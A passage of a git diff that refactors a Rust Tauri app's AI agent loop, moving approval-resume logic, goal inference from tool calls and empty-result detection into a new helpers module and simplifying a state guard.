}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for GeneratingGuard {
|
impl Drop for GeneratingGuard {
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
// 未 done 即异常退出(panic/未走正常 return):核心生成态经 spawn 复位,
|
|
||||||
// ConvState 持久化迁移 + emit 也在同一 spawn 内异步完成(无 await 上下文,对齐核心复位路径)。
|
|
||||||
// done=true(正常 reset/disarm 已走) → 跳过。批3 收口后无开关 off 分支。
|
|
||||||
if !self.done {
|
if !self.done {
|
||||||
let session = self.session.clone();
|
self.transition(ConvState::Idle);
|
||||||
let conv_id = self.conv_id.clone();
|
|
||||||
// L2 批2 1b:Drop 无 await 上下文,持久化迁移 + emit 在 spawn 内异步完成(对齐核心复位 spawn 路径)。
|
|
||||||
// app_handle Clone 廉价,随 session/conv_id 一起 move 进 async 块。
|
|
||||||
let app_handle = self.app_handle.clone();
|
|
||||||
tauri::async_runtime::spawn(async move {
|
|
||||||
let mut s = session.lock().await;
|
|
||||||
let conv = s.conv(&conv_id);
|
|
||||||
// L2 批2:ConvState 持久化(异常退出兜底→Idle)。批3 删除开关门控 + generating bool 写,迁移无条件执行。
|
|
||||||
if let Ok(ns) = conv.conv_state.transition_to(ConvState::Idle) {
|
|
||||||
conv.conv_state = ns;
|
|
||||||
// 1b:持久化 Idle 收敛后 emit 前端(异常退出兜底也需通知前端退出生成态)。
|
|
||||||
// L3 emit 双写:提变量避免构造两次,publish 到事件总线(EVENT_BUS_ENABLED 门控在 publish 内)。
|
|
||||||
let ev = AiChatEvent::AiConvStateChanged {
|
|
||||||
conv_state: ns,
|
|
||||||
conversation_id: Some(conv_id.clone()),
|
|
||||||
};
|
|
||||||
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
|
||||||
let _ = app_handle.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============================================================
|
// ConvState 迁移语义单测见 conv_state.rs(ConvStateStore + ConvState::transition_to)。
|
||||||
// 单元测试(guard ConvState 迁移语义,纯逻辑路径验证)
|
// guard struct 委托 ConvStateStore,无独立逻辑,不重复单测。
|
||||||
// ============================================================
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
/// guard.new 路径:持久化层 Idle→Generating 迁移(读 conv.conv_state)。
|
|
||||||
///
|
|
||||||
/// 注:不构造真实 AiSession(lock/Mutex 建会话状态成本高),仅校验迁移语义——
|
|
||||||
// guard 内部 transition_to 是纯函数,直接断言逻辑路径。
|
|
||||||
#[test]
|
|
||||||
fn test_guard_new_migrates_to_generating() {
|
|
||||||
// 批3 收口后无开关断言:Idle → Generating(读侧持久化字段迁移路径,无条件执行)。
|
|
||||||
let mut s = ConvState::Idle;
|
|
||||||
s = s.transition_to(ConvState::Generating).unwrap();
|
|
||||||
assert_eq!(s, ConvState::Generating);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// reset 迁移 Generating→Idle(正常收敛),验证迁移合法。
|
|
||||||
#[test]
|
|
||||||
fn test_guard_reset_migrates_to_idle() {
|
|
||||||
let mut s = ConvState::Generating;
|
|
||||||
s = s.transition_to(ConvState::Idle).unwrap();
|
|
||||||
assert_eq!(s, ConvState::Idle);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// 异常 Drop 路径同样 Generating→Idle(兜底),验证迁移合法。
|
|
||||||
#[test]
|
|
||||||
fn test_guard_drop_path_migrates_to_idle() {
|
|
||||||
// guard.drop 异常路径(!done)迁移 Generating→Idle(读持久化字段)。
|
|
||||||
let mut s = ConvState::Generating;
|
|
||||||
s = s.transition_to(ConvState::Idle).unwrap();
|
|
||||||
assert_eq!(s, ConvState::Idle);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// disarm 不迁移状态(审批等待保持 Generating)。
|
|
||||||
/// 验证:disarm 后 enum 仍 Generating(下次 new 时 Generating 自环幂等通过)。
|
|
||||||
#[test]
|
|
||||||
fn test_guard_disarm_keeps_generating_then_self_loop_on_new() {
|
|
||||||
let s = ConvState::Generating;
|
|
||||||
// disarm 不动 enum;续跑新 guard.new 时 Generating→Generating 自环通过。
|
|
||||||
assert_eq!(s.transition_to(ConvState::Generating), Ok(ConvState::Generating));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
232
src-tauri/src/commands/ai/agentic/helpers.rs
Normal file
232
src-tauri/src/commands/ai/agentic/helpers.rs
Normal file
@@ -0,0 +1,232 @@
|
|||||||
|
//! 审批后循环恢复 — 从 agentic/mod.rs 拆分。
|
||||||
|
//! 原代码被嵌套在 run_agentic_loop 内部导致 pub(crate) 不可见。
|
||||||
|
|
||||||
|
use tauri::{AppHandle, Emitter, Manager};
|
||||||
|
use crate::state::AppState;
|
||||||
|
use super::approval_timeout;
|
||||||
|
use crate::commands::ai::prompt::{build_system_prompt, get_active_provider};
|
||||||
|
use crate::commands::ai::knowledge_inject::inject_knowledge_into_prompt;
|
||||||
|
use crate::commands::ai::{AiChatEvent, ErrorType, SessionState, GoalEntry};
|
||||||
|
use super::conv_state::ConvState;
|
||||||
|
|
||||||
|
/// BUG-260617-05: try_continue_agent_loop 续跑判定所需 session 字段的一次性快照。
|
||||||
|
struct ContinueSnapshot {
|
||||||
|
is_generating: bool,
|
||||||
|
has_pending: bool,
|
||||||
|
pending_conv_id: Option<String>,
|
||||||
|
agent_language: Option<String>,
|
||||||
|
model_override: Option<String>,
|
||||||
|
pinned_goals_snapshot: Vec<GoalEntry>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 检查是否所有待审批已处理,如果是则恢复 agentic 循环
|
||||||
|
pub async fn try_continue_agent_loop(
|
||||||
|
app: &AppHandle,
|
||||||
|
state: &AppState,
|
||||||
|
conv_id: &str,
|
||||||
|
start_iteration: usize,
|
||||||
|
) {
|
||||||
|
approval_timeout::cleanup_expired_approvals(app, state, conv_id).await;
|
||||||
|
|
||||||
|
let snap = {
|
||||||
|
let session = state.ai_session.lock().await;
|
||||||
|
let has_pending = session.session_state(conv_id, &state.conv_states) == SessionState::AwaitingApproval;
|
||||||
|
let pending_conv_id = session.pending_approvals.values()
|
||||||
|
.find_map(|a| a.conversation_id.clone());
|
||||||
|
let conv = session.conv_read(conv_id);
|
||||||
|
// B-Phase2:ConvState 读侧切无锁 conv_states(is_active),不再占 session lock 读 conv_state。
|
||||||
|
let is_generating = state.conv_states.is_active(conv_id);
|
||||||
|
let agent_language = conv.and_then(|c| c.agent_language.clone());
|
||||||
|
let model_override = conv.and_then(|c| c.model_override.clone());
|
||||||
|
let pinned_goals_snapshot = conv.map(|c| c.pinned_goals.clone()).unwrap_or_default();
|
||||||
|
ContinueSnapshot {
|
||||||
|
is_generating,
|
||||||
|
has_pending,
|
||||||
|
pending_conv_id,
|
||||||
|
agent_language,
|
||||||
|
model_override,
|
||||||
|
pinned_goals_snapshot,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let should_continue = snap.is_generating && !snap.has_pending;
|
||||||
|
|
||||||
|
if !should_continue {
|
||||||
|
if snap.is_generating {
|
||||||
|
tracing::info!(conv_id = %conv_id, "[ai] try_continue 跳过:仍有待审批,转审批等待态");
|
||||||
|
} else {
|
||||||
|
tracing::info!(conv_id = %conv_id, "[ai] try_continue 跳过:generating 已复位");
|
||||||
|
let emit_conv_id = match snap.pending_conv_id.clone() {
|
||||||
|
Some(cid) => cid,
|
||||||
|
None => conv_id.to_string(),
|
||||||
|
};
|
||||||
|
let ev = AiChatEvent::AiCompleted {
|
||||||
|
total_tokens: 0, prompt_tokens: 0, completion_tokens: 0,
|
||||||
|
incomplete: None,
|
||||||
|
conversation_id: Some(emit_conv_id),
|
||||||
|
pinned_goals: snap.pinned_goals_snapshot.clone(),
|
||||||
|
};
|
||||||
|
let _ = app.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = app.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let provider_config = match get_active_provider(state).await {
|
||||||
|
Ok(p) => p,
|
||||||
|
Err(e) => {
|
||||||
|
// B-Phase3:不再持锁操作 conv_state(ConvStateStore 无锁单源)。
|
||||||
|
if let Err(e2) = state.conv_states.transition(conv_id, ConvState::Idle) {
|
||||||
|
tracing::warn!(conv_id = %conv_id, error = %e2, "conv_states→Idle 非法");
|
||||||
|
}
|
||||||
|
let _ = app.emit("ai-chat-event", AiChatEvent::AiError {
|
||||||
|
error: e.clone(), error_type: Some(ErrorType::ProviderConfig),
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
});
|
||||||
|
let _ = app.state::<crate::state::AppState>().ai_event_bus.publish_event(AiChatEvent::AiError {
|
||||||
|
error: e, error_type: None,
|
||||||
|
conversation_id: Some(conv_id.to_string()),
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let lang = snap.agent_language.clone().unwrap_or_else(|| "zh-CN".to_string());
|
||||||
|
let conv_id_owned = conv_id.to_string();
|
||||||
|
let system_prompt = build_system_prompt(state, &lang).await;
|
||||||
|
|
||||||
|
let session_arc = state.ai_session.clone();
|
||||||
|
let tools_arc = state.ai_tools.clone();
|
||||||
|
let db = state.db.clone();
|
||||||
|
let app_handle = app.clone();
|
||||||
|
let knowledge_config = state.knowledge_config.lock().await.clone();
|
||||||
|
let llm_concurrency = state.llm_concurrency.clone();
|
||||||
|
|
||||||
|
let system_prompt = inject_knowledge_into_prompt(state, conv_id, system_prompt, &knowledge_config).await;
|
||||||
|
|
||||||
|
let max_iterations = state.agent_max_iterations.load(std::sync::atomic::Ordering::SeqCst);
|
||||||
|
let max_retries = state.agent_max_retries.load(std::sync::atomic::Ordering::SeqCst);
|
||||||
|
let model_override = snap.model_override.clone();
|
||||||
|
|
||||||
|
// B-Phase2:ConvState 读侧切无锁 conv_states(零锁竞争,无需 session lock)。
|
||||||
|
let still_generating = state.conv_states.is_active(conv_id);
|
||||||
|
if !still_generating {
|
||||||
|
let ev = AiChatEvent::AiCompleted {
|
||||||
|
total_tokens: 0, prompt_tokens: 0, completion_tokens: 0,
|
||||||
|
incomplete: None,
|
||||||
|
conversation_id: Some(conv_id_owned.clone()),
|
||||||
|
pinned_goals: snap.pinned_goals_snapshot.clone(),
|
||||||
|
};
|
||||||
|
let _ = app.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = app.state::<crate::state::AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let _ = app.emit("ai-chat-event", AiChatEvent::AiAgentRound {
|
||||||
|
round: 0, conversation_id: Some(conv_id_owned.clone()),
|
||||||
|
});
|
||||||
|
let _ = app.state::<crate::state::AppState>().ai_event_bus.publish_event(AiChatEvent::AiAgentRound {
|
||||||
|
round: 0, conversation_id: Some(conv_id_owned.clone()),
|
||||||
|
});
|
||||||
|
|
||||||
|
tauri::async_runtime::spawn(async move {
|
||||||
|
super::run_agentic_loop(session_arc, tools_arc, db, app_handle, provider_config, system_prompt, conv_id_owned, knowledge_config, llm_concurrency, max_iterations, max_retries, start_iteration, model_override).await;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 LLM 本轮调用的工具中推理目标描述(本轮可能多个,全部提取)。
|
||||||
|
/// 工具调用是结构化数据(工具名+参数),比从文本中提取更可靠。
|
||||||
|
pub(crate) fn infer_goal_from_tool_calls(tool_calls: &std::collections::HashMap<u32, crate::commands::ai::ToolCallDraft>) -> Vec<String> {
|
||||||
|
if tool_calls.is_empty() { return vec![]; }
|
||||||
|
let mut goals: Vec<String> = Vec::new();
|
||||||
|
for tc in tool_calls.values() {
|
||||||
|
let goal = match tc.name.as_str() {
|
||||||
|
"patch_file" | "write_file" | "edit_file" | "append_file" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("path").and_then(|v| v.as_str()).map(|p| {
|
||||||
|
let f = p.rsplit('/').next().or_else(|| p.rsplit('\\').next()).unwrap_or(p);
|
||||||
|
format!("修改 {}", f)
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
"read_file" | "file_info" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("path").and_then(|v| v.as_str()).map(|p| {
|
||||||
|
let f = p.rsplit('/').next().or_else(|| p.rsplit('\\').next()).unwrap_or(p);
|
||||||
|
format!("查看 {}", f)
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
"search_files" | "grep" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("pattern").or_else(|| args.get("query")).and_then(|v| v.as_str()).map(|q| {
|
||||||
|
let s = if q.len() > 25 { &q[..25] } else { q };
|
||||||
|
format!("搜索 {}", s)
|
||||||
|
}))
|
||||||
|
.or_else(|| Some("搜索文件".to_string()))
|
||||||
|
}
|
||||||
|
"run_command" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("command").and_then(|v| v.as_str()).map(|c| {
|
||||||
|
let s = if c.len() > 25 { &c[..25] } else { c };
|
||||||
|
format!("执行 {}", s)
|
||||||
|
}))
|
||||||
|
.or_else(|| Some("执行命令".to_string()))
|
||||||
|
}
|
||||||
|
"create_project" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("name").and_then(|v| v.as_str()).map(|n| format!("创建项目 {}", n)))
|
||||||
|
}
|
||||||
|
"create_idea" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("title").and_then(|v| v.as_str()).map(|t| format!("捕获灵感 {}", t)))
|
||||||
|
}
|
||||||
|
"run_workflow" => Some("执行工作流".to_string()),
|
||||||
|
"delete_file" | "rename_file" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("path").and_then(|v| v.as_str()).map(|p| {
|
||||||
|
let f = p.rsplit('/').next().or_else(|| p.rsplit('\\').next()).unwrap_or(p);
|
||||||
|
format!("处理 {}", f)
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
"list_directory" => {
|
||||||
|
serde_json::from_str::<serde_json::Value>(&tc.args).ok()
|
||||||
|
.and_then(|args| args.get("path").and_then(|v| v.as_str()).map(|p| format!("浏览 {}", p)))
|
||||||
|
}
|
||||||
|
_ => None,
|
||||||
|
};
|
||||||
|
if let Some(g) = goal { if !goals.contains(&g) { goals.push(g); } }
|
||||||
|
}
|
||||||
|
goals
|
||||||
|
}
|
||||||
|
|
||||||
|
/// G2 探索熔断:判定工具结果是否为「空结果」(空成功,非失败)。
|
||||||
|
pub(crate) fn is_empty_tool_result(content: &str) -> bool {
|
||||||
|
let trimmed = content.trim();
|
||||||
|
if trimmed.is_empty() { return true; }
|
||||||
|
const EMPTY_MARKERS: &[&str] = &[
|
||||||
|
"\"total\":0", "\"entries\":[]", "\"matches\":[]", "\"results\":[]", "\"files\":[]",
|
||||||
|
];
|
||||||
|
for marker in EMPTY_MARKERS {
|
||||||
|
if trimmed.contains(marker) { return true; }
|
||||||
|
}
|
||||||
|
const EMPTY_TEXT: &[&str] = &[
|
||||||
|
"未找到", "没有找到", "无匹配", "没有匹配", "未匹配", "未发现", "无记录",
|
||||||
|
"No matches", "no matches", "0 results", "0 matches", "没有数据", "没有符合",
|
||||||
|
];
|
||||||
|
for marker in EMPTY_TEXT {
|
||||||
|
if trimmed.contains(marker) { return true; }
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
#[test]
|
||||||
|
fn test_empty_tool_result() {
|
||||||
|
assert!(is_empty_tool_result(""));
|
||||||
|
assert!(is_empty_tool_result(" "));
|
||||||
|
assert!(is_empty_tool_result(r#"{"total":0}"#));
|
||||||
|
assert!(is_empty_tool_result(r#"{"entries":[]}"#));
|
||||||
|
assert!(is_empty_tool_result("未找到相关文件"));
|
||||||
|
assert!(!is_empty_tool_result(r#"{"total":5}"#));
|
||||||
|
assert!(!is_empty_tool_result(r#"{"entries":["a.txt"]}"#));
|
||||||
|
}
|
||||||
|
}
|
||||||
2
src-tauri/src/commands/ai/agentic/knowledge_lifecycle.rs
Normal file
2
src-tauri/src/commands/ai/agentic/knowledge_lifecycle.rs
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
//! Agentic 循环知识生命周期(文档占位)。
|
||||||
|
//! 知识提炼实现位于 `super::super::knowledge_inject` 模块。
|
||||||
@@ -12,8 +12,9 @@ use df_ai::context::TokenEstimator;
|
|||||||
use df_ai::context::ContextManager;
|
use df_ai::context::ContextManager;
|
||||||
// 改进3 B: 压缩失败兜底关键词摘要(纯函数 extract_keyword_summary)。
|
// 改进3 B: 压缩失败兜底关键词摘要(纯函数 extract_keyword_summary)。
|
||||||
// 改进4: 工具结果 view-only 摘要(should_summarize_tool_result / extract_key_info)。
|
// 改进4: 工具结果 view-only 摘要(should_summarize_tool_result / extract_key_info)。
|
||||||
|
// extract_keyword_summary 随压缩逻辑迁至 context_lifecycle.rs(改进3 B 关键词兑底)。
|
||||||
use df_ai::context_helpers::{
|
use df_ai::context_helpers::{
|
||||||
extract_key_info, extract_keyword_summary, should_summarize_tool_result,
|
extract_key_info, should_summarize_tool_result,
|
||||||
PLACEHOLDER_INTEGRITY_ENABLED,
|
PLACEHOLDER_INTEGRITY_ENABLED,
|
||||||
};
|
};
|
||||||
// 改进2 B:意图收敛工具(LLM 可见 tool_defs 按 intent 过滤,执行路径仍走完整 registry)
|
// 改进2 B:意图收敛工具(LLM 可见 tool_defs 按 intent 过滤,执行路径仍走完整 registry)
|
||||||
@@ -21,6 +22,8 @@ use df_ai::context_helpers::{
|
|||||||
// 收敛的扁平子集之上叠加 plan_hint 编排(并行组同批聚拢/顺序依赖源在前),供 LLM 看到
|
// 收敛的扁平子集之上叠加 plan_hint 编排(并行组同批聚拢/顺序依赖源在前),供 LLM 看到
|
||||||
// 一份按编排意图排序的工具列表。feature flag PLANNING_ENABLED(false 默认关)门控接入。
|
// 一份按编排意图排序的工具列表。feature flag PLANNING_ENABLED(false 默认关)门控接入。
|
||||||
use df_ai::intent::{filter_tool_defs, filter_tool_defs_planned, IntentRecognizer};
|
use df_ai::intent::{filter_tool_defs, filter_tool_defs_planned, IntentRecognizer};
|
||||||
|
use df_ai::coordinator::{Coordinator, ExecutionResult};
|
||||||
|
use df_ai::persona::PersonaRegistry;
|
||||||
use df_ai::provider::{ChatMessage, CompletionRequest, LlmProvider, MessageRole};
|
use df_ai::provider::{ChatMessage, CompletionRequest, LlmProvider, MessageRole};
|
||||||
// CR-30-1: 复用 retry::backoff_delay(jitter 1s→2s→4s) + is_status_retryable(Fatal 分类)
|
// CR-30-1: 复用 retry::backoff_delay(jitter 1s→2s→4s) + is_status_retryable(Fatal 分类)
|
||||||
// 实现流前失败重试退避对齐(决策 F-260616-07 a1),避免重写退避逻辑。
|
// 实现流前失败重试退避对齐(决策 F-260616-07 a1),避免重写退避逻辑。
|
||||||
@@ -40,14 +43,12 @@ use df_storage::models::AiProviderRecord;
|
|||||||
use crate::state::{AppState, LlmConcurrency};
|
use crate::state::{AppState, LlmConcurrency};
|
||||||
|
|
||||||
use super::audit::process_tool_calls;
|
use super::audit::process_tool_calls;
|
||||||
use super::compress::compress_via_llm;
|
// compress_via_llm 已随压缩逻辑迁至 context_lifecycle.rs(maybe_auto_compress 内调用)。
|
||||||
use super::conversation::{save_conversation, TokenAccumulator};
|
use super::conversation::{save_conversation, TokenAccumulator};
|
||||||
use super::knowledge_inject::{inject_knowledge_into_prompt, maybe_spawn_extraction};
|
use super::knowledge_inject::{maybe_spawn_extraction};
|
||||||
use super::prompt::{build_system_prompt, get_active_provider};
|
|
||||||
use super::stream_recv::{stream_llm, StreamResult};
|
use super::stream_recv::{stream_llm, StreamResult};
|
||||||
use super::title::{ensure_conversation_title, spawn_ensure_title};
|
use super::title::{ensure_conversation_title, spawn_ensure_title};
|
||||||
|
use super::{AiChatEvent, AiSession, ErrorType};
|
||||||
use super::{AiChatEvent, AiSession, ErrorType, SessionState};
|
|
||||||
// ConvState 经本文件内 `pub mod conv_state;` 同 crate 直接访问(conv_state::ConvState)。
|
// ConvState 经本文件内 `pub mod conv_state;` 同 crate 直接访问(conv_state::ConvState)。
|
||||||
|
|
||||||
/// L1 补丁:run_agentic_loop 入口 provider 解析超时保护的内部错误类型。
|
/// L1 补丁:run_agentic_loop 入口 provider 解析超时保护的内部错误类型。
|
||||||
@@ -68,12 +69,9 @@ enum ProviderResolveError {
|
|||||||
/// 热改下次发消息生效(与 llm_concurrency 传 Arc 实时反映的区别)。
|
/// 热改下次发消息生效(与 llm_concurrency 传 Arc 实时反映的区别)。
|
||||||
pub const DEFAULT_MAX_AGENT_ITERATIONS: usize = 10;
|
pub const DEFAULT_MAX_AGENT_ITERATIONS: usize = 10;
|
||||||
|
|
||||||
/// 压缩保护区条数(对齐 clear/compress IPC 的 PROTECT_COUNT=6)。
|
/// 压缩保护区条数 + 压缩关键词兑底开关已随压缩逻辑迁至 context_lifecycle.rs
|
||||||
/// protect_start = len.saturating_sub(PROTECT_COUNT):保护区内的最近 6 条(含本轮三元组)
|
/// (PROTECT_COUNT / KEYWORD_FALLBACK_ENABLED,在该模块内部为私有 const)。
|
||||||
/// 不参与压缩,避免压缩正在使用的活跃消息。
|
///
|
||||||
const PROTECT_COUNT: usize = 6;
|
|
||||||
|
|
||||||
/// 流式对话失败自动重试默认次数(F-260616-07 / 决策 a1)
|
|
||||||
///
|
///
|
||||||
/// 默认 3 次(初次 + 2 次重试)。复用 retry::backoff_delay 退避(1s→2s→4s+jitter) +
|
/// 默认 3 次(初次 + 2 次重试)。复用 retry::backoff_delay 退避(1s→2s→4s+jitter) +
|
||||||
/// retry::is_status_retryable Fatal 分类(4xx 非429 立即放弃) + 30s 总预算。
|
/// retry::is_status_retryable Fatal 分类(4xx 非429 立即放弃) + 30s 总预算。
|
||||||
@@ -81,14 +79,9 @@ const PROTECT_COUNT: usize = 6;
|
|||||||
/// partial_text)不重试——保文入库 + AiCompleted(incomplete=true) + 系统提示网络中断。
|
/// partial_text)不重试——保文入库 + AiCompleted(incomplete=true) + 系统提示网络中断。
|
||||||
pub const DEFAULT_MAX_AGENT_RETRIES: usize = 3;
|
pub const DEFAULT_MAX_AGENT_RETRIES: usize = 3;
|
||||||
|
|
||||||
/// 改进3 B 常量开关:压缩失败时是否启用关键词摘要兜底(默认 true)。
|
/// 改进3 B 常量开关 KEYWORD_FALLBACK_ENABLED 已随压缩逻辑迁至 context_lifecycle.rs
|
||||||
|
/// (在该模块内部为私有 const,文档见 context_lifecycle.rs 顶部)。
|
||||||
///
|
///
|
||||||
/// true(默认):LLM 压缩失败 → compress_old_messages 标 compressed(释放 token)
|
|
||||||
/// + insert_at(0, system 关键词摘要),保留用户反复提及的主题词作续接锚点。
|
|
||||||
/// false(回退):回退原裸裁剪行为(不插关键词摘要,仅 build_for_request 裁剪保最近 6 条)。
|
|
||||||
/// 排障/对比用:置 false 即可观察无兜底时的裁剪效果。
|
|
||||||
pub const KEYWORD_FALLBACK_ENABLED: bool = true;
|
|
||||||
|
|
||||||
/// 改进4 常量开关:tool_result 大输出是否做 view-only 摘要压缩(默认 true)。
|
/// 改进4 常量开关:tool_result 大输出是否做 view-only 摘要压缩(默认 true)。
|
||||||
///
|
///
|
||||||
/// true(默认):build_for_request 后送 stream 前,遍历 history 中 tool_result,
|
/// true(默认):build_for_request 后送 stream 前,遍历 history 中 tool_result,
|
||||||
@@ -110,8 +103,9 @@ pub const TOPIC_MARKER_ENABLED: bool = true;
|
|||||||
// ============================================================
|
// ============================================================
|
||||||
// G1 目标钉扎(治 R1 目标消息被压缩出局 + R3 重锚定 + R5 prompt 无锚点,2026-06-26)
|
// G1 目标钉扎(治 R1 目标消息被压缩出局 + R3 重锚定 + R5 prompt 无锚点,2026-06-26)
|
||||||
//
|
//
|
||||||
// 机制:首条 active user 消息提取目标存 PerConvState.pinned_goal(内容态字段,绕过
|
// 机制:run_agentic_loop 每轮从 LLM 工具调用推理目标(infer_goal_from_tool_calls),
|
||||||
// sanitize step0 is_active 过滤),run_agentic_loop 入口拼进 system_prompt 尾部。
|
// 存 PerConvState.pinned_goals(Vec<GoalEntry>,内容态字段,绕过 sanitize step0 is_active 过滤),
|
||||||
|
// run_agentic_loop 入口拼 active 目标进 system_prompt 尾部。
|
||||||
// system_prompt 是 loop 不变量 + build_for_request 不裁剪,故目标天然免疫压缩/裁剪,
|
// system_prompt 是 loop 不变量 + build_for_request 不裁剪,故目标天然免疫压缩/裁剪,
|
||||||
// 彻底治 R1(目标消息物理出局)/R5(prompt 说教无锚点),无 insert_at(0) 的连续 System
|
// 彻底治 R1(目标消息物理出局)/R5(prompt 说教无锚点),无 insert_at(0) 的连续 System
|
||||||
// 1214/首位锚点稀释/小预算被裁三重风险。
|
// 1214/首位锚点稀释/小预算被裁三重风险。
|
||||||
@@ -119,10 +113,12 @@ pub const TOPIC_MARKER_ENABLED: bool = true;
|
|||||||
|
|
||||||
/// G1 总开关:目标钉扎是否启用(默认 true)。
|
/// G1 总开关:目标钉扎是否启用(默认 true)。
|
||||||
///
|
///
|
||||||
/// true(默认):chat.rs 两处 push 后提取首条 user 目标存 pinned_goal + loop 入口拼 system_prompt。
|
/// true(默认):run_agentic_loop 每轮从 LLM 工具调用推理目标(infer_goal_from_tool_calls),
|
||||||
/// false(回退):两处提取跳过 + loop 入口拼接跳过,pinned_goal 永远 None,system_prompt 零变化,
|
/// 存入 PerConvState.pinned_goals(Vec<GoalEntry>) + loop 入口拼 active 目标进 system_prompt。
|
||||||
|
/// false(回退):提取跳过 + loop 入口拼接跳过,pinned_goals 永远空 Vec,system_prompt 零变化,
|
||||||
/// 完全退回改动前行为(目标靠压缩摘要 + topic marker + 聚焦准则 prompt 续命)。单点回退,
|
/// 完全退回改动前行为(目标靠压缩摘要 + topic marker + 聚焦准则 prompt 续命)。单点回退,
|
||||||
/// 不影响 G2/G4/G5(对齐 KEYWORD_FALLBACK_ENABLED 模式:每改配开关 + 兜底降级旧行为)。
|
/// 不影响 G2/G4/G5(对齐 KEYWORD_FALLBACK_ENABLED 模式:每改配开关 + 兜底降级旧行为)。
|
||||||
|
/// 2026-07-03 改:提取从 chat.rs 用户消息规则 → run_agentic_loop 工具调用推理(helpers.rs)。
|
||||||
pub const GOAL_PIN_ENABLED: bool = true;
|
pub const GOAL_PIN_ENABLED: bool = true;
|
||||||
|
|
||||||
/// G1 banner 开关:目标拼进 system_prompt 时是否加「## 当前目标」分隔标题(默认 true)。
|
/// G1 banner 开关:目标拼进 system_prompt 时是否加「## 当前目标」分隔标题(默认 true)。
|
||||||
@@ -248,6 +244,21 @@ use guard::GeneratingGuard;
|
|||||||
/// 审批超时取消(由 try_continue_agent_loop 入口调用)
|
/// 审批超时取消(由 try_continue_agent_loop 入口调用)
|
||||||
mod approval_timeout;
|
mod approval_timeout;
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// 重构:上下文/标题/知识生命周期抽取(行为零变更)。
|
||||||
|
//
|
||||||
|
// - context_lifecycle:F-15 自动压缩逻辑,从 run_agentic_loop 内联块抽取为
|
||||||
|
// maybe_auto_compress 函数(mod.rs 调用,返回 bool 表达原 early-return)。
|
||||||
|
// - title_lifecycle / knowledge_lifecycle:标题/知识逻辑早已模块化(title.rs /
|
||||||
|
// knowledge_inject.rs),mod.rs 仅单行调用,无可抽取的内联代码,文件作文档占位。
|
||||||
|
// ============================================================
|
||||||
|
mod context_lifecycle;
|
||||||
|
use context_lifecycle::maybe_auto_compress;
|
||||||
|
#[allow(unused_imports)]
|
||||||
|
mod title_lifecycle;
|
||||||
|
#[allow(unused_imports)]
|
||||||
|
mod knowledge_lifecycle;
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// L2 统一状态机(ConvState enum + 转换守卫,单一真相源)。
|
// L2 统一状态机(ConvState enum + 转换守卫,单一真相源)。
|
||||||
// 设计:generating状态机加固-2026-06-15.md §3 + aichat体验与agent能力系统化重构-2026-06-21.md §3。
|
// 设计:generating状态机加固-2026-06-15.md §3 + aichat体验与agent能力系统化重构-2026-06-21.md §3。
|
||||||
@@ -261,6 +272,11 @@ mod approval_timeout;
|
|||||||
// - 兜底:状态机层迁移失败(非法转换)记 warn 不 panic,核心生成态复位仍经 enum 迁移收敛。
|
// - 兜底:状态机层迁移失败(非法转换)记 warn 不 panic,核心生成态复位仍经 enum 迁移收敛。
|
||||||
// ============================================================
|
// ============================================================
|
||||||
pub mod conv_state;
|
pub mod conv_state;
|
||||||
|
pub mod command_lock;
|
||||||
|
pub(crate) mod helpers;
|
||||||
|
pub(crate) use helpers::try_continue_agent_loop;
|
||||||
|
pub(crate) use helpers::infer_goal_from_tool_calls;
|
||||||
|
pub(crate) use helpers::is_empty_tool_result;
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// F-260614-04 / F-260614-04b: 单 Provider 流式结果 + fallback 辅助
|
// F-260614-04 / F-260614-04b: 单 Provider 流式结果 + fallback 辅助
|
||||||
@@ -333,14 +349,12 @@ async fn stream_one_provider(
|
|||||||
